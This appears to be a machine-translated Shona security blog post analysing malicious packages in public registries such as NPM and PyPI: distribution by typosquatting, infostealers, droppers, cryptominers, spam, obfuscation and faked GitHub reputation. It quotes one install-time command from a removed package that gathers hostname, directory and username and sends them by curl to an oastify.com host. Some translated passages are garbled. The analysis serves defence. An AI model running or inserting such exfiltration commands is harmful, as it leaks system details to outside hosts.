Muchikamu chakapfuura, Mapakeji Anokuvadza Akavhurika: Dambudziko, takakurukura kuti sei vanhu vaityisidzira vaive vakadaro kufarira kuburitsa zvinhu zvitsva zvine njodzi kana kuisa malware mushanduro dzichangoburwa dzezvinhu zviripo: Nzvimbo yemahara inobvumira chero munhu chero kupi kugadzira account yenguva pfupi mu registry yezvikamu (senge NPM, PyPI, Docker Hub kana Visual Studio Marketplace) kana puratifomu yekuvandudza pamwe chete (senge GitHub). Hapana muripo, uye mikana yakawanda yekushandisa kuvimba kwakanyanya uko mapoka esoftware anowanzo kuve nako pane zvikamu zvevamwe.
Kusawirirana pakati pekureruka kuripo kune vanorwisa kuparadzira malware vachishandisa zvivakwa zviripo kune open source, uye kuoma kuripo kumasangano ari kugadzira software (munhu wese?) kudzivirira kutapukirwa ne malware (uye kuendesa malware musoftware yavanogovera kune vamwe), kwakaita kuti pave nenhamba inosvika kota miriyoni yemapakeji ane malware anosvika gore rapfuura.
Iri idambudziko rakakura zvekuti hapana sangano rimwe chete rinogona kurigadzirisa, uye nharaunda iri mukugadzirisa patsva maitiro ekushandisa ruzivo rwakavhurika maererano nekuvimbana, misimboti yekuchengetedza-ne-default uye yakachengeteka-ne-design, uye hupenyu hwezvikamu. Tichatarisa pfungwa dzakadaro muchikamu chinotevera. Kudzivirira Mapakeji Anokuvadza Anowanikwa Pachena: Chii Chisingashande (Chisingashande).
Rangarira kuti tiri kutaura nezvezvikamu zvesoftware izvo kazhinji zvinoenderana nazvo software mapakeji: zvinhu zvinogona kushandiswazve zvakarongedzwa kuitira kuti zvigone kutaurwa sezvinhu zvinoenderana nesoftware manifest, uye zvigoiswa nepakeji maneja kana build tool. Ndokumbirawo mucherechedze kuti nyaya iyi inogona kuwedzerwa kuti isanganisire public mifananidzo yemidziyo (inoshandiswa nenguva dzekushandisa mumidziyo uye mapuratifomu ekugadzira ma "orchestration" akadai seKubernetes), uye kuwedzerwa kune zvishandiso zvesoftware (yekuvaka, otomatiki, uye kuiswa).
Pano tinoongorora kuti izvi nzira yekurwisa yakavakirwa pazvinhu zvine hutsinye zvinoshanda, zvichienderana nemienzaniso yekare uye zvatakaona mupuratifomu yedu yeMalware Early Warning (MEW). Tichaongorora zvikamu zvine njodzi muzvikamu zvakasiyana:
(1) nzira yakasarudzwa yekugovera (registry inoshandiswa, muchikamu chitsva kana chiripo, uye nzira inoshandiswa pakutapurira vhezheni yechikamu chakabudiswa), (2) kuti malware inobatidzwa sei kana kuti inokonzereswa sei, (3) maitiro akaipa kureva kuti zviito zvinokuvadza zvinoonekwa uye ndechipi chikonzero chemurwisi, (4) ndedzipi nzira dzakajairika dzekuvharisa, kuvanda kuti usaonekwe, kufamba kwedivi, kutaurirana nemirairo nekutonga (C2), nezvimwewo; uye (5) nzira dzekuwana mukurumbira wakakwana uye kuvimbana kuitira kuti vanobatwa vapedzisire vaisa chikamu chacho.
Nzira Yokugovera Yakasarudzwa
Tinocherechedza "ruzha rwemashure"yemapakeji asina ruzivo anoshandisa typosquatting kunyengedza vagadziri vasina hanya vane typo muzita repakeji nekuda kwekuvimba kwavo. Mapakeji mazhinji anozivikanwa anogamuchira mapakeji akawanda ane mazita akafanana ane typos, netarisiro yekuti achanyengedza vamwe vagadziri vasina hanya.
Vanoshandisa account yenguva pfupi, vanoburitsa boka remapakeji ekunyora, vanogadzira rimwe, uye vanoburitsa rimwe boka… Vachishandisa otomatiki uye hunyanzvi vanogona kuwana hunyanzvi, asi kazhinji havanyanyi kukosha. Isu tinovadaidza mukati medu kuti “anchovies"Kuba matsamba ekutsvaga ruzivo ndicho chinangwa chikuru, asi dzimwe nguva tinowana maspyware achiburitsa kodhi yemashoko kana ruzivo rwakavanzika senge ruzivo rwemunhu (PII), clipboard capture, uye zvimwe zvinokatyamadza.
Tichingoerekana taona zvinhu zvine njodzi zvakanyanya, "shark". Vashoma vanonangwa kumapoka kana masangano chaiwo, kazhinji nevanodhonza mari ye crypto kana ma web skimmers anoshandiswa zvine mirawo, pamwe zvichitevera nzira inoonekwa mu chiitiko chinobuda muzviitiko yekubvisa manyorerwo emutoro wekurwisa chete kana pasuru yacho yataurwa kubva papakeji yakanangana nayo.
Maitiro ekugovera akaongororwa mupepa rakanaka uye rava rekare, "Muunganidzwa weBackstabber's Knife: Ongororo yeOpen Source Software Supply Chain Attacks", izvo zvinofanira kuverengwa. Zvirokwazvo makamboona chati iyi yakanaka kare:
Nzira dzese dzakatsvagwa, kusanganisira mapakeji matsva neachiripo; kukanganisa kodhi yekodhi, sisitimu yekuvaka, kana chikamu chakabatanidzwa pachacho; kushandisa zvitupa zvakabiwa kana mainjiniya emagariro evanhu; kuba maakaundi akasiyiwa nemidziyo yekuchengetedza kana kuchetura ayo akachengetwa. Mamwe marwisi akapihwa mazita (typosquatting, Kuvhiringidzika Kwekuvimba, Kuvhiringidzika Kunoratidza, Kudzoreredza zvinhu. nezvimwewo) uye zvakatokurukurwa pane dzimwe nzvimbo.
Zvakadini nemabhuku ekunyora akasarudzwa?
NPM iri kuramba ichitungamira muhuwandu hwese hwemapakeji ane njodzi, asi takaona kuwedzera kukuru kutanga gore rino paPyPI. Python inzvimbo inozivikanwa yesainzi yedata uye kudzidza kwemuchina. Kutaura zvazviri, huwandu hwemalware hwawedzera muPyPI kupfuura muNPM.
Marware anotanga sei
Mapakeji ane hukasha anotanga panguva yekuisa muzviitiko zvina chete pagumi (mumakore achangopfuura zvaive pedyo ne6 pagumi). Zvimwe zvese zvinotanga panguva yekushanda, uye chimwe pa100 chinotanga panguva yekuedza. Vavengi vanoita sevanoziva kuti kuiswa kwemagwaro ekuisa kwakadzimwa munzvimbo dzakawanda.
Vanhu vakaipa vari kuwana chii?
Tichanyora mhando dzemaitiro akaipa, uye dzinonyanya kufarirwa kutanga. Ndapota cherechedza kuti kukanganisa kunogona kusiyana zvikuru: a wiper zvinoparadza zvakanyanya, asi hazviwanzoitika uye zvakaonekwa mune dzimwe nguva shoma chete, zvine chekuita nehondo dzepaindaneti kana hutsinye hwehacktivism. Mapoka anotevera akajairika:
- Infostealer / Credentials Drainer. Kusvika pari zvino, vanhu vanopfuura 90% vanorwisa zvisina tsarukano vanoba zvinhu zviri nyore, kunyanya kutsvaga mapassword, ma access token, ma API keys, uye ma private keys (eSSH nezvimwe zvakadaro). Pamwe ndiyo iri nyore kunyora (pamwe chete nema wipers?). Vanoverenga mafaira/madhairekitori anozivikanwa nemamwe masosi (semuenzaniso ma registry keys), vanorongedza zviri mukati, uye vanotumira data iroro kuC2 server. Pfungwa yacho iri nyore: "Ndinoburitsa stealer ye phishing credentials, saka ndinogona kuzoshandisa ma directed credentials kutanga kurwiswa kwakanangana".
Kubatana kweC2 kunoonekwa kazhinji kwakaderera uye kwakasviba, senge nzira dzeTelegram kana maturusi ekugadzira tunnel akafanana ne ngrok (kazhinji muchimiro che reverse proxies inoburitswa kuburikidza neVPN egress IPs). Kune mazana (!) emikana, nemapurojekiti mazhinji eGitHub ari pasi pe musoro wenyaya wekuba mapassword. . Mabasa akadai se keyloggers haawanzo kuwanikwa mumapakeji ane njodzi uye mifananidzo yemakontena, asi anowanzo kuwanikwa muzvishandiso zvekuwedzera, uko kunotarisirwa kutaurirana kwevashandisi.
- Dhirowa / Dhaunirodha. Yechipiri mukuzivikanwa, inowanzova yekutanga mukurwiswa kwematanho akawanda. Zvinopfuura chimwe muzvikamu zvitatu zvematsotsi zvine madropper (kana mhedzisiro yakaipa ikauya iri mukati mepakeji) kana madownloader (mhedzisiro yacho inotorwa kubva kune endpoint iri pasi pekutonga kweanorwisa). Iyo payload inowanzo kuve imwe yemhando ye malware inozivikanwa, uye inofambiswa uye dzimwe nguva inoramba iripo, yekuisa backdoors, spyware, crypto drainers, uye mamwe mashandisirwo. Iyo payload yakatorwa kana kuiswa inotanga kurwisa kwechikamu chechipiri nesimba rese rinopihwa ne malware binaries dziripo. Ma binaries anogona kugoverwa mukati mepakeji, kazhinji achiitwa semifananidzo kana mhando dzemafaira dzinofungidzirwa kuti hadzina mhosva, kudzivirira kuonekwa paunenge uchibatanidza kune mawebhusaiti asingatarisirwi.
- Vanoba mari yedhijitari / Vacheri vemigodhiVavengi vane chinangwa chemari vanoda kushandisa midziyo yenyu ye "cloud" kuti vashandise ma "cryptominers" (vanotoona kana vari kushanda mu "cloud VM"). Havana hanya ne "cloud" chiyero chepurofiti yakaderera ye$1 pa$53 yega yega inobhadhariswa munhu anenge abatwa nekuda kwezvakabiwa zvema "cloud infrastructure". Vanhu vanenge vabatwa vanogona kusaziva izvi kusvika vagamuchira bhiri risingatarisirwi. Nerombo rakanaka, izvi zvinouya zvoenda. Cryptojacking Mishandirapamwe mumapakeji ane hutsinye dzimwe nguva inobuda yozopera, ichiba phishing kune vanoshandisa wallet kana pakupedzisira yakanangana neanopa wallet, sezviri mu Kurwiswa kweLedger.
Mamwe maitiro, akadai sekuisa a kumashure Kushandiswa kwekodhi iri kure nekuvhura ganda re reverse kwava kushoma ikozvino kupfuura kare. Semuenzaniso, iyo 123rf_contributor_web pasuru (yabviswa kubva kurejista) inovhura pasina kana chinhu chakavharika ganda rekumashure rakakopwa uye rakanamirwa kubva ku Pepa reKubiridzira reReverse Shell:
Kuwedzera kune zvinhu zviri pamutemo uye zvine njodzi, takaona kushandiswa kwakawanda kwechisimba, kusanganisira:
Mapakeji eSpam
Kune zviuru zvemapakeji madiki, mazhinji acho ari muNPM, asina malware asi anovimbisa kuwana mari iri nyore, nyoka, malink eViagra, nezvimwe zvakadaro. Vamwe vashandisi vanoburitsa spam yakadaro uye vanotora bandwidth yakawanda kubva kurejista. Mumwe mutambi (vatambi) angangodaro anobva kuIndonesia akaedza kuwana rubatsiro ne kushandisa zvisina kunaka teaRank yakagadzirirwa kubhadhara vagadziri vemawebhusaiti akavhurika, nekugadzira makumi ezviuru emapakeji eNPM akabatana ane marepositories eGitHub. Uku kutyorwa kuri pachena kwemitemo yekushandisa.
Manyepo ekutsvaga nezvekuchengetedzwa kwezvinokanganisa
Kana pasuru ichizvitsanangura seinoburitsa data nechinangwa chakanaka, sekuona zvikanganiso zvekuchengetedza zvema bug bounty programs kana kutsvagisa zvimwe zvinhu zve ecosystem. Taona zviuru zvemapakeji muchikamu ichi, anotora ruzivo rwekuzivikanwa asi kwete ruzivo rwakanyanya kune kero yeBurp Collaborator kubva kuPortSwigger (semuenzaniso host mu oastify.com domain). Taiwanzoona ma copycats e Kuvhiringidzika Kwekuvimba humbowo hwepfungwa iyi hwakanyorwa naAlex Birsan, senge aurora-webmail-pro package (yakabviswa kubva kurejista), iyo inongomhanyisa iyi kodhi isina kunaka muchinyorwa chekutanga kuisa:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") Uye zvakare zvaisanganisira "Uku ndiko Kusavimba Nekuvhiringidzika Kunorwisa Uchapupu hwepfungwa"Tsananguro yekuzvidza mu package.jsonUku kutyorwa kuri pachena kwemitemo yebasa, kunyangwe pasina chinangwa chakaipa.
Mashoko akanaka here? Hatisati taona (pari zvino) kurwiswa kweransomware kuchiitwa kuburikidza nezvinhu zvine njodzi. Nezvikonzero zvisingazivikanwe, matsotsi epaindaneti anoita seanofarira nzira dzechinyakare dzekutumira maemail phishing, RDP-based, uye drive-by download delivery.
Mamwe Matekiniki Akacherechedzwa
Matekiniki akawanda akashandiswa pakutsungirira, kudzivirira, kuunganidza ruzivo, kutaurirana nevatungamiriri vemauto, uye kubvisa zvombo mumhepo.
Kushivirira muzvinhu zvine njodzi zvinowanikwa uchishandisa maficha ekutsungirira mune malware yechikamu chechipiri, asi dzimwe nguva maitiro acho anowanikwa mukodhi yepakeji, nemabasa akarongwa uye shanduko muWindows registry zviri izvo zvinonyanya kuitika.
Obfuscation zvakajairika, asi hazvina kunyatsojeka. Mapakeji mazhinji ekunyora (yeuka "anchovies"?") havashandisi obfuscation zvachose; vazhinji vanoshandisa dzisiri dzechokwadi (base64/hex encoding kana substitution ciphers senge rot13) kana kushandisa macode obfuscators uye minification, izvo zvinodzoserwa zviri nyore nekushandisa maturusi akakodzera. "Sharks" chete ndivo vanoita real, hard-core, obfuscation, hard to reverse-engineer.
Kuvharidzira kunogona kuvanza kurwiswa, asi nei kodhi iri muchikamu che open-source ichifanira kuvharidzira? Pane humbowo here hwekuti chimwe chinhu chinofanira kuvanzwa kubva pachena? Tawana mienzaniso yakawanda yemapakeji asina huipi anoshandisa kuvharidzira kuchengetedza pfuma yepfungwa, izvo zvinopesana ne "open source". Kuvharidzira kunogona kushandiswa sehumbowo hwe malware, asi hazvina musoro. Zvakaomawo kubvisa kuvharidzira.
kunzvenga kubva kuvatongi vekudzivirira vanoshandisa nzira dziri nyore. Kodhi yakaipa inowanzo dzivirirwa mu edza ... bata mabhuroko asingateereri chero zvipi zvakasarudzika, saka mabasa asina kujairika haaonekwe mumagwaro. Kuongororwa kwenzvimbo (inoshanda muVM kana mugaba) hakuwanzoitiki, kunze kwekunge paine malware yakanangana nesangano kana nharaunda yakati.
Kuzvifukidza nemifananidzo uye mafaira ePDF (mhando ye steganography) yaive imwe nzira yakaonekwa yekunzvenga kuonekwa.
Sezvo zvinhu zvinonyanya kuipa zviri zvinhu zvinoba infostealers, kuunganidzwa kwedata Zvakakosha. Zvakavanzika (mapassword, ma access token, ma API keys, ma cryptographic keys) zvinoongororwa nguva dzose muma log files, environment variables, uye kunyange clipboard (inoonekwa nema banking trojans uye crypto stealers). Source code exfiltration yakajairikawo, sezvo kuiswa kwepakeji kuchiwanzoitwa mu development node uko internal git repositories inogona kuumbwa. Takaona mapakeji achinyora madhairekitori achitsvaga ma git repositories. Kutsvaga nzvimbo dzakadai se .env, private.pem, settings.py, app.js, kana application.properties kwakajairika.
Kubvisa data kubva mukombiyuta imwe nzira inoshandiswa zvakanyanya. Mapakeji mashoma chete ane njodzi anoedza kuvanza kwainoenda data rakatorwa. Nzira dzeTelegram ne migero yakaita seyengrok dzinowanzoshandiswa. Uye kune dzakawanda nzvimbo dzinowanzo bvumidzwa kushandiswa pakubuda muchivande.
Dzimwe nzira, dzakadai sekusimudzira ropafadzo kana kufamba kwedivi, dzakanga dzisiri nyore.
Kuwana Mukurumbira uye Kuvimbwa
Fungidzira gororo rehunyanzvi rine chinhu chine hutsinye chakagadzirwa kare richibvunza kuti: "Ndingaita sei kuti chidimbu ichi che s#$! chive chakavimbika kune mapenzi asina hanya?".
Izvi zvinoshandura maitiro ekugadzira chikamu chine njodzi kuti chiratidze nyeredzi dzakawanda / maforogo (kuti chizivikanwe), pamwe neshanduro / matambudziko uye pull requests (yebasa). Pfungwa yacho ndeyekuwana mukurumbira wenhema (nyeredzi) uye vanhu vanovimba navo, uye chitarisiko chinogutsa maererano nekukosha uye kuchengetedza.
Iyo rejista haitarise kana zviri mupurojekiti yeGitHub nezviri mukati mepakeji zvinoenderana. Iri idambudziko rinozivikanwa zvikuru mu software supply chain. Ma registry everuzhinji makomba makuru anomedza zvese zvinokandwa paari. Unogona kubatanidza chero nzvimbo yekuchengetedza.
Kana package yakaipa ikakanganisa kushandiswa kwayo, zviri nyore: ingotarisa nzvimbo iripo yeGitHub mu dependencies manifest inoshandiswa kugadzira package uye kuiburitsa mu registry. Kune mapakeji matsva paGitHub repo yenhema, ungangoda hunyanzvi hwakawanda, pamwe kugadzira fake. kutarisa nyeredzi/kuforogo Maakaundi eGitHub kuburikidza nekunyora.
Uye kana zviri mupakeji yako zvakafanana nerepo, isa shanduko mbiri dzakagadzirwa zvakanaka pano neapo… Unogona kuisa malware yako mupakeji itsva yakafanana neyakakurumbira ichitaura nezve repository yeyako iripo, womirira typos. Kana paine munhu akashinga kuenzanisa zviri mupakeji tarball nezviri kubva kuGitHub repository, mutsauko uripo papoinzi dze malware unogona kushaikwa nyore nyore. Takaona nzira iyi kakawanda kare.
Nzira yekuti chikamu chitaure zvisina kukanganiswa nezvekwakabva, kuti pasuru yacho yakavakwa sei, kubva kupi, uye naani, zvingagamuchirwa. Asi iyo imwe nyaya.
Ko chikamu X chine malware here?
Pane here dhatabhesi (yakakwana) yemapakeji ane njodzi? Kwete. Kusagadzikana kweOpen-source kune CVE ID yakapihwa, asi mapakeji mashoma ane njodzi (kunyanya ayo anoita misoro yenhau) ndiwo anopiwa imwe. CWE yemapakeji ane njodzi ndeye CWE-506 (kodhi yakaipa yakaiswa).
Zvishandiso zve malware zvakajairika (VirusTotal, MalwareBazaar, SOREL-20M…) hazvigadzirise zvinhu zvine njodzi. Izvozvo zvinogamuchirwa!
Kune mienzaniso yemadhatabhesi ekutsvagisa nemaseti edata ekuongorora (tinoshandisa mashoma acho), asi zvinyorwa zvinongogadziriswa chete kana pasuru ine njodzi yazivikanwa, izvo zvinowanzova zvanonoka. Kana uchifarira, iyo OpenSSF Mapakeji Anokuvadza kutanga kwakanaka.
Muchinyorwa chinotevera, tichakurukura kuti tingaziva sei kana package yakapihwa ine hutachiona. Spoiler: hongu, kune nzira dzekutarisa zvikamu zvine hutachiona pakutanga panguva yekuratidzwa, usati wabvisa chikamu chine hutachiona chinozivikanwa.
Kuwedzera kuverenga
Muchikamu chinotevera "Kudzivirira Mapakeji Anokuvadza Anowanikwa Pachena: Chii Chisingashande (Chisingashande)" Tichakurukura nezvezvinofanira kuitwa uye zvisingafaniri kuitwa pakuchengetedzwa kwenzvimbo dzakavhurika. Nyanzvi zhinji dzinoziva nezvekuchengetedzwa kwenyaya dzine ruzivo rwekuti vangagadzirisa sei dambudziko iri, asi pane kusanzwisisana kwakawanda.
Tichaongorora kuti sei pfungwa idzi dzisiri dzechokwadi, uye kuti mafungiro asina kunaka akadaro ari kubatsira sei mukuzivikanwa kwenzira iyi yekurwisa, uye kunjodzi huru iri kusangana nemasangano. Tichaenderera mberi nezviri kushanda, uye ndeipi iri kushanda nesimba uye zviwanikwa zvinosanganisirwa.
Zvakare, tichanyora nezvekushanduka kwemapakeji ane hukasha maererano nechinangwa chawo, mashandiro ekubaya, uye matekiniki ekurwisa.
Ramba wakashama!
